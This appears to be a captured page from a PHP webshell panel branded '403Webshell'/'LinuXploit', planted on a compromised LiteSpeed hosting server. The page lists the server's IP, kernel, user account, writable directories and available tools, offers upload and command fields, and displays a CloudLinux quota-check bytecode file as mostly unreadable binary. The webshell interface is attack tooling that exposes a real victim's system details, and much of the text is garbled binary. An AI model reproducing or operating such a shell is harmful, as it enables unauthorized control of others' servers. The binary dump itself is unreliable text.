403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.145.216.39
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/__pycache__/clquota.cpython-311.pyc
�

���g��t�ddlZddlZddlmZddlmZmZmZejd��Z	d	de
dee
fd�ZdS)
�N)�Optional)�get_mount_point�run_command�ExternalProgramFailedzuser quota on .+ \(.+\) is on�/home�path�returnc��tj�d��sdS	t|��}n##tt
f$r}d|��cYd}~Sd}~wwxYw	dd|g}t
|��}n&#t
$r}t|��}Yd}~nd}~wwxYw|���}t�
|��s|SdS)z�
    Check if quotas enabled and initialised for specific path
    :return: string message with giagnostick information if disabled; None if enabled
    z
/sbin/quotaonzPackage "quota" not installedz$Error during mount point detection:
Nz-up)�osr�isfiler�OSErrorrr�str�strip�USER_QUOTA_ON_PATTERN�search)r�mount_point�e�quotaon_cmd�quotaon_outputs     ��/builddir/build/BUILDROOT/alt-python27-cllib-3.4.25-2.el8.cloudlinux.x86_64/opt/cloudlinux/venv/lib/python3.11/site-packages/clcommon/clquota.py�check_quota_enabledrs���
�7�>�>�/�*�*�/�.�.�;�%�d�+�+�����*�+�;�;�;�:�q�:�:�:�:�:�:�:�:�����;���� �&��{�;��$�[�1�1���� � � � ��Q������������� ����$�)�)�+�+�N� �'�'��7�7�����4s3�3�A�A�A�A�A,�,
B�6B
�
B)r)�rer�typingr�clcommon.utilsrrr�compilerrr��r�<module>rs���
�	�	�	�	�	�	�	�������N�N�N�N�N�N�N�N�N�N�"��
�#C�D�D����c����
������r

Youez - 2016 - github.com/yon3zu
LinuXploit